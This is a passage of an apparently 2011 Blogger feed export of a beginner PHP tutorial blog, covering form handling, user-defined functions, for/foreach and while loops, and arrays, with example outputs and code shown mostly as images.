input.&lt;br /&gt;&lt;h2&gt;PHP Form Handling&lt;/h2&gt; &lt;p&gt;The most important thing to notice when dealing with HTML forms and PHP is  that any form element in an HTML page will &lt;b&gt;automatically&lt;/b&gt; be available to your PHP scripts.&lt;/p&gt; &lt;h3&gt;Example&lt;/h3&gt; &lt;p&gt;The example below contains an HTML form with two input fields and a submit  button:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=""&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 353px;" src="http://1.bp.blogspot.com/-ILq7WEJ7gCA/Takbzv8vcNI/AAAAAAAAATk/J57D723YHgY/s400/12.JPG" alt="" id="BLOGGER_PHOTO_ID_5596034587843064018" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;br /&gt;&lt;p&gt;When a user fills out the form above and click on the submit button, the form data  is sent to a PHP file, called "welcome.php":&lt;/p&gt; &lt;p&gt;"welcome.php" looks like this:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=""&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 318px;" src="http://4.bp.blogspot.com/-fWMY2Umfk6Q/TakcdDQI8WI/AAAAAAAAATs/_RZpE6Iq1Cw/s400/13.JPG" alt="" id="BLOGGER_PHOTO_ID_5596035297399337314" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;Output could be something like this:&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;Welcome John!&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; You are 28 years old.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;The PHP $_GET and $_POST functions will be explained in the next chapters.&lt;br /&gt;&lt;h2&gt;Form Validation&lt;/h2&gt; &lt;p&gt;User input should be validated on the browser whenever possible (by client  scripts). Browser validation is faster and reduces the server load.&lt;/p&gt; &lt;p&gt;You should consider server validation if the user input will be inserted into  a database. A good way to validate a form on the server is to post the form to  itself, instead of jumping to a different page. The user will then get the error  messages on the same page as the form. This makes it easier to discover the  error.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-2426652283891495605?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/2426652283891495605'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/2426652283891495605'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/04/php-forms-and-user-input.html' title='PHP Forms and User Input'/><author><name>jeromeskie</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-ILq7WEJ7gCA/Takbzv8vcNI/AAAAAAAAATk/J57D723YHgY/s72-c/12.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-4975258167967634248</id><published>2011-04-15T21:11:00.000-07:00</published><updated>2011-04-15T21:27:45.096-07:00</updated><title type='text'>PHP Functions</title><content type='html'>&lt;p class="intro"&gt;The real power of PHP comes from its functions.&lt;/p&gt;  &lt;p class="intro"&gt;In PHP, there are more than 700 built-in functions.&lt;/p&gt;&lt;h2&gt;PHP Functions&lt;/h2&gt; &lt;p&gt;In this chapter we will show you how to create your own functions.&lt;/p&gt; &lt;p&gt;To keep the script from being executed when the page loads, you can put it  into a function.&lt;/p&gt; &lt;p&gt;A function will be executed by a call to the function.&lt;/p&gt; &lt;p&gt;You may call a function from anywhere within a page.&lt;/p&gt;&lt;h2&gt;Create a PHP Function&lt;/h2&gt; &lt;p&gt;A function will be executed by a call to the function.&lt;/p&gt; &lt;h3&gt;Syntax&lt;/h3&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;function &lt;/span&gt;&lt;i style="font-weight: bold;"&gt;functionName&lt;/i&gt;&lt;span style="font-weight: bold;"&gt;()&lt;/span&gt; &lt;span style="font-weight: bold;"&gt; {&lt;/span&gt; &lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;i style="font-weight: bold;"&gt;code to be executed&lt;/i&gt;&lt;span style="font-weight: bold;"&gt;;&lt;/span&gt; &lt;span style="font-weight: bold;"&gt; }&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;p&gt;PHP function guidelines:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;Give the function a name that reflects what the   function does&lt;/li&gt;&lt;li&gt;The function name can start with a letter or   underscore (not a number)&lt;/li&gt;&lt;/ul&gt;  &lt;h3&gt;Example&lt;/h3&gt; &lt;p&gt;A simple function that writes my name when it is called:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=""&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 303px;" src="http://3.bp.blogspot.com/-ECxwLZnot0g/TakXvmvln2I/AAAAAAAAATE/mcKn_i4MZgs/s320/8.JPG" alt="" id="BLOGGER_PHOTO_ID_5596030118605987682" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;Output:&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;My name is Kai Jim Refsnes&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;h2&gt;PHP Functions - Adding parameters&lt;/h2&gt; &lt;p&gt;To add more functionality to a function, we can add parameters. A parameter is just like a variable.&lt;/p&gt; &lt;p&gt;Parameters are specified after the function name, inside the parentheses.&lt;/p&gt; &lt;h3&gt;Example 1&lt;/h3&gt; &lt;p&gt;The following example will write different first names, but equal last  name:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=""&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 379px;" src="http://4.bp.blogspot.com/-K69V6Cg8Xeg/TakYmFQM7bI/AAAAAAAAATM/nO1tJZTFCzU/s400/9.JPG" alt="" id="BLOGGER_PHOTO_ID_5596031054508780978" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;Output:&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);font-size:130%;" &gt;My name is Kai Jim Refsnes.&lt;br /&gt;My sister's name is Hege Refsnes.&lt;br /&gt;My brother's name is Stale Refsnes.&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;h3&gt;Example 2&lt;/h3&gt; &lt;p&gt;The following function has two parameters:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=""&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 397px;" src="http://4.bp.blogspot.com/-P60JjprHCuA/TakZTt_236I/AAAAAAAAATU/YlTIW6gUrn8/s400/10.JPG" alt="" id="BLOGGER_PHOTO_ID_5596031838540193698" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;Output:&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;My name is Kai Jim Refsnes.&lt;/span&gt; &lt;span style="font-weight: bold;"&gt; My sister's name is Hege Refsnes!&lt;/span&gt; &lt;span style="font-weight: bold;"&gt; My brother's name is Ståle Refsnes? &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;h2&gt;PHP Functions - Return values&lt;/h2&gt; &lt;p&gt;To let a function return a value, use the return  statement.&lt;/p&gt; &lt;h3&gt;Example&lt;/h3&gt;&lt;br /&gt;&lt;hr /&gt;&lt;a href=""&gt;&lt;img style="cursor:pointer; cursor:hand;width: 400px; height: 397px;" src="http://2.bp.blogspot.com/-X2d3F1HMrCA/TakZ_wlbLqI/AAAAAAAAATc/FEHGnoniOrs/s400/11.JPG" alt="" id="BLOGGER_PHOTO_ID_5596032595148877474" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;Output:&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;1 + 16 = 17&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-4975258167967634248?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/4975258167967634248'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/4975258167967634248'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/04/php-functions.html' title='PHP Functions'/><author><name>jeromeskie</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-ECxwLZnot0g/TakXvmvln2I/AAAAAAAAATE/mcKn_i4MZgs/s72-c/8.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-4775109265554140609</id><published>2011-04-15T20:53:00.000-07:00</published><updated>2011-04-15T21:09:37.559-07:00</updated><title type='text'>PHP Looping - For Loops</title><content type='html'>Loops execute a block of code a specified number of times, or  while a specified condition is true.&lt;br /&gt;&lt;h2&gt;The for Loop&lt;/h2&gt; &lt;p&gt;The for loop is used when you know in advance how many times the script  should run.&lt;/p&gt; &lt;h3&gt;Syntax&lt;/h3&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;for (&lt;/span&gt;&lt;i style="font-weight: bold;"&gt;init; condition; increment&lt;/i&gt;&lt;span style="font-weight: bold;"&gt;)&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;   {&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;   &lt;/span&gt;&lt;i style="font-weight: bold;"&gt;code to be executed;&lt;/i&gt; &lt;span style="font-weight: bold;"&gt;   } &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;p&gt;Parameters:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;i&gt;init&lt;/i&gt;: Mostly used to set a counter (but can be any code to be executed once at the beginning of the loop)&lt;/li&gt;&lt;li&gt;&lt;i&gt;condition&lt;/i&gt;: Evaluated for each loop iteration. If it evaluates to TRUE, the loop continues. If it evaluates to FALSE, the loop ends.&lt;/li&gt;&lt;li&gt;&lt;i&gt;increment&lt;/i&gt;: Mostly used to increment a counter (but can be any code to be executed at the end of   the loop)&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;&lt;b&gt;Note: &lt;/b&gt;Each of the parameters above can be empty, or have multiple expressions  (separated by commas).&lt;/p&gt; &lt;h3&gt;Example&lt;/h3&gt; &lt;p&gt;The example below defines a loop that starts with i=1. The loop will continue  to run as long as i is less than, or equal to 5. i will increase by 1 each time  the loop runs:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=""&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 303px;" src="http://1.bp.blogspot.com/-N5HEloA6_5g/TakVJySqrWI/AAAAAAAAAS0/oDgP4nt4gIE/s320/6.JPG" alt="" id="BLOGGER_PHOTO_ID_5596027269847625058" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Output:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p style="font-weight: bold; color: rgb(255, 0, 0);"&gt;&lt;span style="font-size:130%;"&gt;The number is 1&lt;br /&gt;The number is 2&lt;br /&gt;The number is 3&lt;br /&gt;The number is 4&lt;br /&gt;The number is 5&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;The foreach Loop&lt;/h2&gt; &lt;p&gt;The foreach loop is used to loop through arrays.&lt;/p&gt; &lt;h3&gt;Syntax&lt;/h3&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;foreach ($&lt;/span&gt;&lt;i style="font-weight: bold;"&gt;array &lt;/i&gt;&lt;span style="font-weight: bold;"&gt;as&lt;/span&gt;&lt;i style="font-weight: bold;"&gt; &lt;/i&gt;&lt;span style="font-weight: bold;"&gt;$&lt;/span&gt;&lt;i style="font-weight: bold;"&gt;value&lt;/i&gt;&lt;span style="font-weight: bold;"&gt;)&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;   {&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;   &lt;/span&gt;&lt;i style="font-weight: bold;"&gt;code to be executed;&lt;/i&gt; &lt;span style="font-weight: bold;"&gt;   } &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;p&gt;For every loop iteration, the value of the  current array element is assigned to $value (and the array pointer is moved by one) -  so on the next loop iteration, you'll be looking at the next array value.&lt;/p&gt; &lt;h3&gt;Example&lt;/h3&gt; &lt;p&gt;The following example demonstrates a loop that will print the values of   the given array:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=""&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 303px;" src="http://3.bp.blogspot.com/-6tTR6YSvXFQ/TakV4BgPQvI/AAAAAAAAAS8/D9n2kNSYXb8/s320/7.JPG" alt="" id="BLOGGER_PHOTO_ID_5596028064205062898" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;Output:&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;one&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; two&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; three&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-4775109265554140609?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/4775109265554140609'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/4775109265554140609'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/04/php-looping-for-loops.html' title='PHP Looping - For Loops'/><author><name>jeromeskie</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-N5HEloA6_5g/TakVJySqrWI/AAAAAAAAAS0/oDgP4nt4gIE/s72-c/6.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-8080323248099591950</id><published>2011-04-15T20:32:00.000-07:00</published><updated>2011-04-15T20:45:01.530-07:00</updated><title type='text'>PHP Looping - While Loops</title><content type='html'>Loops execute a block of code a specified number of times, or while a specified condition is true.&lt;br /&gt;&lt;h2&gt;PHP Loops&lt;/h2&gt; &lt;p&gt;Often when you write code, you want the same block of code to run over and  over again in a row. Instead of adding several almost equal lines in a script we  can use loops to perform a task like this.&lt;/p&gt; &lt;p&gt;In PHP, we have the following looping statements:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;b&gt;while &lt;/b&gt;- loops through a block of code while a specified condition is true&lt;/li&gt;&lt;li&gt;&lt;b&gt;do...while&lt;/b&gt; - loops through a block of code once, and then repeats the loop    as long as a specified condition is true&lt;/li&gt;&lt;li&gt;&lt;b&gt;for &lt;/b&gt;- loops through a block of code a specified number of times&lt;/li&gt;&lt;li&gt;&lt;b&gt;foreach &lt;/b&gt;- loops through a block of code for each element in an    array&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;h2&gt;The while Loop&lt;/h2&gt; &lt;p&gt;The while loop executes a block of code while a condition is true.&lt;/p&gt; &lt;h3&gt;Syntax&lt;/h3&gt;&lt;span style="color: rgb(255, 0, 0);font-size:130%;" &gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;&lt;hr /&gt;&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;while (&lt;/span&gt;&lt;i style="font-weight: bold;"&gt;condition&lt;/i&gt;&lt;span style="font-weight: bold;"&gt;)&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;   {&lt;/span&gt; &lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;i style="font-weight: bold;"&gt;  code to be executed&lt;/i&gt;&lt;span style="font-weight: bold;"&gt;;&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;   }&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;h3&gt;Example&lt;/h3&gt; &lt;p&gt;The example below defines a loop that starts with i=1. The loop will continue  to run as long as i is less than, or equal to 5. i will increase by 1 each time  the loop runs:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=""&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 303px;" src="http://2.bp.blogspot.com/-_f2q11gqEG8/TakPWb_RxtI/AAAAAAAAASk/dj-h2_hA8kg/s320/4.JPG" alt="" id="BLOGGER_PHOTO_ID_5596020890129254098" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;Output:&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;The number is 1&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;The number is 2&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;The number is 3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; The number is 4&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;The number is 5  &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;h2&gt;The do...while Statement&lt;/h2&gt; &lt;p&gt;The do...while statement will always execute the block of code once, it  will then check the condition, and  repeat the loop while the condition is true.&lt;/p&gt; &lt;h3&gt;Syntax&lt;/h3&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;do&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;   {&lt;/span&gt; &lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;i style="font-weight: bold;"&gt;  code to be executed;&lt;br /&gt;&lt;/i&gt;&lt;span style="font-weight: bold;"&gt;}&lt;/span&gt; &lt;span style="font-weight: bold;"&gt; while (&lt;/span&gt;&lt;i style="font-weight: bold;"&gt;condition&lt;/i&gt;&lt;span style="font-weight: bold;"&gt;); &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;h3&gt;Example&lt;/h3&gt; &lt;p&gt;The example below defines a loop that starts with i=1. It will then increment  i with 1, and write some output. Then the condition is checked, and the loop  will continue to run as long as i is less than, or equal to 5:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=""&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 303px;" src="http://4.bp.blogspot.com/-fPZS-2TL7G4/TakQFdyHFOI/AAAAAAAAASs/pfwcu6uZu1A/s320/5.JPG" alt="" id="BLOGGER_PHOTO_ID_5596021698064749794" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;Output:&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;The number is 2&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; The number is 3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; The number is 4&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; The number is 5&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; The number is 6&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-8080323248099591950?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/8080323248099591950'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/8080323248099591950'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/04/php-looping-while-loops.html' title='PHP Looping - While Loops'/><author><name>jeromeskie</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-_f2q11gqEG8/TakPWb_RxtI/AAAAAAAAASk/dj-h2_hA8kg/s72-c/4.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-6197195677679343546</id><published>2011-04-15T20:11:00.000-07:00</published><updated>2011-04-15T20:30:40.821-07:00</updated><title type='text'>PHP Arrays</title><content type='html'>An array stores multiple values in one single variable.&lt;br /&gt;&lt;h2&gt;What is an Array?&lt;/h2&gt; &lt;p&gt;A variable is a storage area holding a number or  text. The problem is, a variable will hold only one value.&lt;/p&gt; &lt;p&gt;An array is a special variable, which can store multiple values in one single  variable.&lt;/p&gt; &lt;p&gt;If you have a list of items (a list of car names, for example), storing the cars  in single variables could look like this:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p style="font-weight: bold; color: rgb(255, 0, 0);"&gt;&lt;span style="font-size:130%;"&gt;$cars1="Saab";&lt;br /&gt;$cars2="Volvo";&lt;br /&gt;$cars3="BMW"; &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;However, what if you want to loop through the cars and find a specific one? And what if you had not 3 cars, but 300?&lt;/p&gt; &lt;p&gt;The best solution here is to use an array!&lt;/p&gt; &lt;p&gt;An array can hold all your variable values under a single name. And you can access the values by referring to the array name.&lt;/p&gt; &lt;p&gt;Each element in the array has its own index so that it can be easily accessed.&lt;/p&gt; &lt;p&gt;In PHP, there are three kind of arrays:&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;b&gt;Numeric array&lt;/b&gt; - An array with a numeric index&lt;/li&gt;&lt;li&gt;&lt;b&gt;Associative array&lt;/b&gt; - An array where each ID key is associated with a value&lt;/li&gt;&lt;li&gt;&lt;b&gt;Multidimensional array&lt;/b&gt; - An array containing one or more arrays&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;h2&gt;Numeric Arrays&lt;/h2&gt; &lt;p&gt;A numeric array stores each array element with a numeric index.&lt;/p&gt; &lt;p&gt;There are two methods to create a numeric array.&lt;/p&gt; &lt;p&gt;1. In the following example the index are automatically assigned (the index  starts at 0):&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p style="color: rgb(255, 0, 0); font-weight: bold;"&gt;&lt;span style="font-size:130%;"&gt;$cars=array("Saab","Volvo","BMW","Toyota"); &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;2. In the following example we assign the index manually:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p style="font-weight: bold; color: rgb(255, 0, 0);"&gt;&lt;span style="font-size:130%;"&gt;$cars[0]="Saab";&lt;br /&gt;$cars[1]="Volvo";&lt;br /&gt;$cars[2]="BMW";&lt;br /&gt;$cars[3]="Toyota"; &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Example&lt;/h3&gt; &lt;p&gt;In the following example you access the variable values by referring to the  array name and index:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://2.bp.blogspot.com/-0R3vWrvllSQ/TakJ7PEO8WI/AAAAAAAAASM/F3JB9WN4Uk8/s1600/2.JPG"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 250px; height: 320px;" src="http://2.bp.blogspot.com/-0R3vWrvllSQ/TakJ7PEO8WI/AAAAAAAAASM/F3JB9WN4Uk8/s320/2.JPG" alt="" id="BLOGGER_PHOTO_ID_5596014925245772130" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;The code above will output:&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;Saab and Volvo are Swedish cars.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;&lt;h2&gt;Associative Arrays&lt;/h2&gt; &lt;p&gt;An associative array, each ID key is associated with a value.&lt;/p&gt; &lt;p&gt;When storing data about specific named values, a numerical array is not  always the best way to do it.&lt;/p&gt; &lt;p&gt;With associative arrays we can use the values as keys and assign values  to them.&lt;/p&gt; &lt;h3&gt;Example 1&lt;/h3&gt; &lt;p&gt;In this example we use an array to assign ages to the different persons:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr style="color: rgb(255, 0, 0);"&gt;&lt;p style="color: rgb(255, 0, 0);"&gt;&lt;/p&gt;&lt;p style="font-weight: bold;"&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$ages = array("Peter"=&amp;gt;32, "Quagmire"=&amp;gt;30, "Joe"=&amp;gt;34);&lt;/span&gt; &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Example 2&lt;/h3&gt; &lt;p&gt;This example is the same as example 1, but shows a different way of  creating the array:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p style="font-weight: bold; color: rgb(255, 0, 0);"&gt;&lt;span style="font-size:180%;"&gt;$ages['Peter'] = "32";&lt;br /&gt;$ages['Quagmire'] = "30";&lt;br /&gt;$ages['Joe'] = "34"; &lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The ID keys can be used in a 